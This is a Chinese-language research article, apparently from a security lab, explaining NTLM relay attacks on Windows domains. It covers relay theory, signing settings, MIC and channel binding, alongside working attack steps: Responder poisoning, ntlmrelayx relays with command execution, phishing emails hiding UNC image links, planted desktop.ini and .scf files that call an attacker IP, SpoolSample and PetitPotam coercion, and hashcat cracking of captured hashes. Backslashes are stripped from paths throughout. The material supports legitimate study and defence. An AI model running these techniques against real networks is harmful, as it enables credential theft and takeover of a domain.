前言
攻击原理
1.1 NTLM 中继的过程
-
1. 攻击者让客户端向攻击者服务器发起 NTLM 挑战响应请求 -
2. 攻击者服务器向真实服务端发起 NTLM 请求,真实服务端返回 challenge -
3. 攻击者服务器将收到的 challenge 发送给客户端 -
4. 客户端返回 response,攻击者服务器将 response 发送给服务端 -
5. 服务端验证通过,攻击者服务器获得服务端权限
1.2 如何实现 NTLM 中间人?
-
1. 需要用户交互的方法
net use \xxx
等带 UNC 路径的命令、办公人员在资源管理器中通过 UNC 路径访问共享服务器等。net use \xxx
要访问哪台服务器、办公人员要访问哪台共享服务器攻击者并不可控,所以需要名称解析欺骗将客户端流量引导到被控服务器上。-
2. 无需用户交互的方法
1.3 中继到哪里?
1.4 如何跨协议中继?
1.5 会话签名如何阻止中继?
1.6 exportedSessionKey 如何生成?
1.7 会话签名何时会开启?
-
1. 客户端/服务端对签名的配置通常有"必须的"、"默认的"、"禁止的"三种,不同协议配置方法不同; -
2. 客户端在 NEGOTIATE_MESSAGE 中,通过 NegotiateFlags 中的 NTLMSSP_NEGOTIATE_SIGN 标志位,告诉服务端自己是否支持签名; -
3. 服务端在 CHALLENGE_MESSAGE 中,通过同样的标志位告诉客户端自己是否支持签名。
1.8 SMB 签名矩阵
针对服务端:HKLMSystemCurrentControlSetServicesLanmanServerParametersEnableSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络服务器:对通信进行数字签名(如果客户端允许)
HKLMSystemCurrentControlSetServicesLanmanServerParametersRequireSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络服务器:对通信进行数字签名(始终)
。
针对客户端:HKLMSystemCurrentControlSetServicesLanmanWorkstationParametersEnableSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络客户端:对通信进行数字签名(如果服务端允许)
HKLMSystemCurrentControlSetServicesLanmanWorkstationParametersRequireSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络客户端:对通信进行数字签名(始终)
。
python tools/RunFinger.py -i 192.168.60.1/24
脚本检测目标 SMB 签名配置。1.9 LDAP 签名矩阵
HKLMSystemCurrentControlSetServicesNTDSParametersLDAPServerIntegrity
对应本地策略 本地策略 -> 安全选项 -> 网络安全:LDAP 客户端签名要求
针对服务端:
HKLMSystemCurrentControlSetServicesldapldapclientintegrity
对应本地策略 本地策略 -> 安全选项 -> 域控制器:LDAP 服务器签名要求
。1.10 跨协议签名矩阵
1.11 MIC
NTLMSSP_NEGOTIATE_SIGN
将其改为禁用签名的话,那么 SMB 就可以中继到 LDAP 且不签名。(但是这种方法对于 SMB 中继到域控 SMB 服务端是行不通的,因为域控 SMB 服务端默认配置是必须签名,无论怎么篡改流量都无济于事)。AUTHENTICATE_MESSAGE
中,它检查 NEGOTIATE_MESSAGE
,CHALLENGE_MESSAGE
,AUTHENTICATE_MESSAGE
全部三条消息的完整性,任何一条消息的篡改都会导致服务端验证 MIC 失败,这也就阻止了中间人篡改 NTLMSSP_NEGOTIATE_SIGN
标志位的可能。(因为 NTLM 协议的缺陷,这里爆过 CVE-2019-1040 漏洞)。1.12 EAP
AUTHENTICATE_MESSAGE
中添加一条中间人无法篡改的信息,这条信息包含客户端访问的目标服务端 IP 及服务,或者包含目标服务端的证书哈希,这样就完成了服务绑定或TLS 绑定。服务端在收到 AUTHENTICATE_MESSAGE
后会检查其绑定的 IP 以及服务是否是自己,或检查其绑定的证书是否属于自己。1.13 Net-NTLM Hash 能重放吗?
1.14 NTLM 反射
net.exe use \hostshare
并回车后会提示输入服务端账号密码,其实在提示输入账号密码之前客户端就已经用当前用户名及其 NTLM-Hash 进行挑战响应验证。显然这会因为客户端凭证无法用于服务端而失败,之后用户再输入正确的服务端账号密码,客户端再进行一遍挑战响应验证完成身份认证。1.15 Net-NTLM Hash 爆破
常见 NTLM 中间人方法
2.1 内网劫持
python Responder.py -I ens33 -fv
实现欺骗,当前广播域下其他机器广播这些名称解析协议请求解析的时候,Responder 会响应这些请求广播包(Responder 支持 mDNS/NBNS/LLMNR)从而完成欺骗。python3 ntlmrelayx.py -t smb://192.168.0.106 -c whoami -smb2support
完成中继。需要修改 Responder.conf 关闭其监听的 SMB 和 HTTP 服务,改由 ntlmrelayx 监听这两个端口并中继至目标。2.2 Outlook
<img src="\192.168.60.172blank">
<img src="http://relayubuntu/blank">
-
1. UNC 默认会通过 SMB 协议发起 NTLM 认证,但是外网钓鱼的话,目标单位的 SMB 协议可能无法出网。 -
2. HTTP 默认不会发起 NTLM 认证,即使服务端对其进行 NTLM 挑战,除非服务端 URL 位于信任网站或内联网。Windows 会认为 http://Netbios
形式的 URL 处于内联网,域内用户默认有增加 DNS 记录的权限,因此攻击者需要先获取域用户权限并创建 DNS 记录。显然,这种方法无法用于外网钓鱼。
# 发送 UNC 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to [email protected] --from [email protected] --header "Subject:relay_swaks_test" --body '<img src="\192.168.60.172blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# 发送 HTTP 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to [email protected] --from [email protected] --header "Subject:relay_swaks_test" --body '<img src="http://relayubuntu/blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# 创建 DNS 记录
Invoke-DNSUpdate -DNSType A -DNSName relayubuntu -DNSData 192.168.60.172
2.3 共享服务器
desktop.ini
# 创建一个新的文件夹,desktop.ini 放在新文件夹下,注意名字的迷惑性
# 或者 desktop.ini 放在根目录下,给根目录添加系统文件属性 attrib +s RootDir
mkdir IT_DontMove
attrib +s IT_DontMove
cd IT_DontMove
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\192.168.0.1aa >> desktop.ini
attrib +s +h desktop.ini
# For Windows XP
[.ShellClassInfo]
IconFile=\192.168.0.1aa
IconIndex=1337
Shell Command Files
# 没成功过
# icon.scf
[Shell]
Command=2
IconFile=\35.164.153.224test.ico
[Taskbar]
Command=ToggleDesktop
2.4 SpoolSample
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx([in] PRINTER_HANDLE hPrinter,[in] DWORD fdwFlags,[in] DWORD fdwOptions,[in, string, unique] wchar_t* pszLocalMachine,[in] DWORD dwPrinterLocal,[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions);
函数的作用是创建一个远程的更改通知对象,当远程服务端有打印任务时将通知发送至客户端。参数 hPrinter 用于指定打印机或服务端 A ,pszLocalMachine 用于指定客户端 B。这样,调用 RpcRemoteFindFirstPrinterChangeNotificationEx() 后服务端 A 就会向客户端 B 进行 NTLM 身份验证。利用
利用 SpoolSample 必须有一个能用于服务端 RPC 绑定的凭证,可以是服务端本地账户也可以是域用户账户。无论是什么凭证,触发 SpoolSample 后发送的都是机器账户 DESKTOP-A5EFSQR$ 的 NTLM 信息。
服务端、客户端都可指定 IP,如果出网,还可指定 vps ip。
SpoolSample[2]
printerbug.py[3]
2.5 PetitPotam
long EfsRpcOpenFileRaw([in] handle_t binding_h,[out] PEXIMPORT_CONTEXT_HANDLE* hContext,[in, string] wchar_t* FileName,[in] long Flags);
函数的作用是打开服务器上的加密对象以进行备份或还原。参数 binding_h 用于指定客户端 A,FileName 用于指定远程服务端 B 的加密对象。这样,调用 EfsRpcOpenFileRaw() 后客户端 A 就会向服务端 B 进行 NTLM 身份验证。利用
pipelsarpc
或 pipeefsrpc
等命名管道用于接收。Windows 2003 、 2008 服务器中,组策略网络访问:可匿名访问的命名管道
存在 lsarpc
,因此可以匿名触发 PetitPotam。但在 2012 以上,这个组策略默认就是空了,要触发 PetitPotam 至少需要一个能连接客户端命名管道的凭证。(在实验时偶然发现,把 2012 升级为域控后,lsarpc 又出现在可匿名访问的命名管道中)。常见中继利用手法
3.1 爆破
本地策略 -> 安全选项 -> 网络安全:LAN 管理器身份验证级别
配置,对应注册表 reg query HKLMSYSTEMCurrentControlSetControlLsa /v LmCompatibilityLevel
,共六个级别:-
1. 发送 LM 和 NTLM 响应:客户端使用 LM 和 NTLM 身份验证,决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 -
2. 发送 LM 和 NTLM – 如果已协商,则使用 NTLMv2 会话安全: 客户端使用 LM 和 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 -
3. 仅发送 NTLM 响应: 客户端仅使用 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 -
4. 仅发送 NTLMv2 响应: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 -
5. 仅发送 NTLMv2 响应拒绝 LM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM (仅接受 NTLM 和 NTLMv2 身份验证)。 -
6. 仅发送 NTLMv2 响应拒绝 LM & NTLM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM 和 NTLM (仅接受 NTLMv2 身份验证)。
-
1. Windows 2000 以及 Windows XP: 发送 LM 和 NTLM 响应。 -
2. Windows Server 2003: 仅发送 NTLM 响应。 -
3. Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应。 -
Net-NTLMv1
python3 Responder.py -I ens33 -fv --lm
将 AUTHENTICATE_MESSAGE
的 NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
设为 0,此时捕获的 Net-NTLMv1 Hash 只受服务端 Challenge 影响,只需要固定服务端 Challenge 即可制作彩虹表爆破 Net-NTLMv1 Hash 获取客户端 NTLM Hash。username::hostname:response:response:challenge -> NTHASH:response
格式(或者用 ntlmv1.py[6] 转换),最后拿去 get-cracking[7] 跑彩虹表获得 NTLM Hash(有可能失败)。Net-NTLMv2
Net-NTLMv1 、 Net-NTLMv2 都可以彩虹表跑明文密码本,通过内网钓鱼的手法能够获取大量的 Net-NTLM Hash 的话,爆破还是有一定意义的。
# Net-NTLMv2
hashcat.exe -m 5600 -a 3 ..SMB-NTLMv2-SSP-192.168.0.101.txt ..pass.txt --force
hashcat.exe -m 5600 -a 3 ..SMB-NTLMv2-SSP-192.168.0.101.txt ..pass.txt --force --show
# Net-NTLMv1
hashcat.exe -m 5500 -a 3 Administrator::ISLAND:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:1122334455667788 pass.txt --force
hashcat.exe -m 5500 -a 3 Administrator::ISLAND:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:1122334455667788 pass.txt --force --show
3.2 反射
CVE-2008-4037(MS08-068)
-
1. 客户端向服务端发起 NTLM 请求,并在 NTLMSSP 中将 pszTargetName 设置为目标 SPN,即 cifs/B。 -
2. 客户端获取服务端 challenge 后,结合 pszTargetName,向 lsass 进程中写入缓存(Challenge,cifs/B)。 -
3. 服务端收到客户端 response 后,去 lsass 进程中查找是否存在缓存(Challenge,cifs/B),若不存在则认证成功。
CVE-2019-1384(Ghost potato)
(Challenge,cifs/B)
来缓解 NTLM 反射,但这个缓存有一定的存活限制:每次 NTLM 挑战添加缓存时都会检查是否有超过 300 秒的缓存存在,如果有则删除。这就给了攻击者可乘之机:-
1. 客户端向服务端(本地)发起 NTLM 请求,并在 NTLMSSP 中将 pszTargetName 设置为目标 SPN,即 cifs/B。 -
2. 客户端获取服务端 CHALLENGE_MESSAGE 后,结合 pszTargetName,向 lsass 进程中写入缓存(Challenge,cifs/B)。 -
3. 客户端不发送 AUTHENTICATE_MESSAGE ,并保持会话超过 300 秒。 -
4. 在 300 秒后,客户端故意发起错误的 NTLM 挑战请求,这会刷新 lsass 中的缓存(Challenge,cifs/B)。 -
5. 客户端发送 AUTHENTICATE_MESSAGE ,完成反射攻击。
3.3 中继全景图
3.4 SMB Realy to SMB
python3 ntlmrelayx.py -t smb://192.168.0.106 -smb2support
python3 ntlmrelayx.py -t smb://192.168.0.106 -smb2support -socks
proxychains python3 smbexec.py ./[email protected]
python3 ntlmrelayx.py -tf targets.txt -smb2support
python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support -c "whoami"
CVE-2015-0005
3.5 SMB Relay to LDAP
CVE-2019-1040
NTLMSSP_NEGOTIATE_SIGN
修改为不支持签名,那么最终会话将禁止签名。现在 CVE-2019-1040 可以绕过 MIC 防护,这允许攻击者篡改流量中的 NTLMSSP_NEGOTIATE_SIGN
,将协商签名降为禁止签名,增加了中继的攻击面。如 SMB 中继到 LDAP ,默认配置是双方协商签名,这种情况下会话最终会进行签名,利用 CVE-2019-1040 可以将默认情况下 SMB 中继到 LDAP 的会话修改为禁止签名。(还有其他双方协商签名则默认开启签名的情况,都可以利用 CVE-2019-1040 降为禁止签名)-
1. 如何实现中间人
-
机器账户是可以登录 LDAP 的,因此通过 SpoolSample 强制获取客户端的机器账户凭证。在实战中客户端对象通常是 Exchange 或者域控。
-
2. 如何利用中继 -
对于 Exchange 机器用户发来的请求,将其中继至域控 LDAP 后,可以为攻击者可控的域用户添加 Dcsync 权限,再进一步导出域内包括域管的所有 Hash 完成提权。Excheange 机器用户在 Exchange Trusted Subsystem 组中,该组具有 Write-ACL 权限,因此可以给任意用户添加 Dcsync 所需权限;对于域控机器用户发来的请求,将其中继到另一台域控 LDAP(因为不能反射回第一台域控本身)后,可以把攻击者可控的机器用户添加进第一台域控机器用户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中,这样攻击者就可以通过基于资源的约束委派模拟域管,完成提权。
192.168.60.112 WIN2012-DC1
192.168.60.108 WIN2008-DC2
192.168.60.174 ubuntu
192.168.60.110 DESKTOP-A5EFSQR
NTLMSSP_NEGOTIATE_SIGN
都无法将会话签名降级为禁止签名。总结
本文介绍了中继攻击的原理和打法,结合上一篇文章的域内委派攻击,接下来我们该思考如何实现我们研究的目的——域环境下的自动化提权,将会在下一篇给出答案。
参考资料
-
1. https://en.hackndo.com/ntlm-relay/
-
2. https://www.thehacker.recipes/ad-ds/movement/ntlm
-
3. https://www.t4nglong.net/2020/09/28/NTLM%20%E5%9F%BA%E7%A1%80%E4%B8%8E%E6%BB%A5%E7%94%A8/
-
4. https://daiker.gitbook.io/windows-protocol/ntlm-pian
-
引用链接
[1]
Places of Interest in Stealing NetNTLM Hashes: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/[2]
SpoolSample: https://github.com/leechristensen/SpoolSample[3]
printerbug.py: https://github.com/dirkjanm/krbrelayx[4]
PetitPotam: https://github.com/topotam/PetitPotam[5]
crack.sh: https://crack.sh/netntlm/[6]
ntlmv1.py: https://github.com/evilmog/ntlmv1-multi[7]
get-cracking: https://crack.sh/get-cracking/[8]
Ghost Potato: https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
原文始发于微信公众号(默安玄甲实验室):Windows 域环境下的本地提权系列研究(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论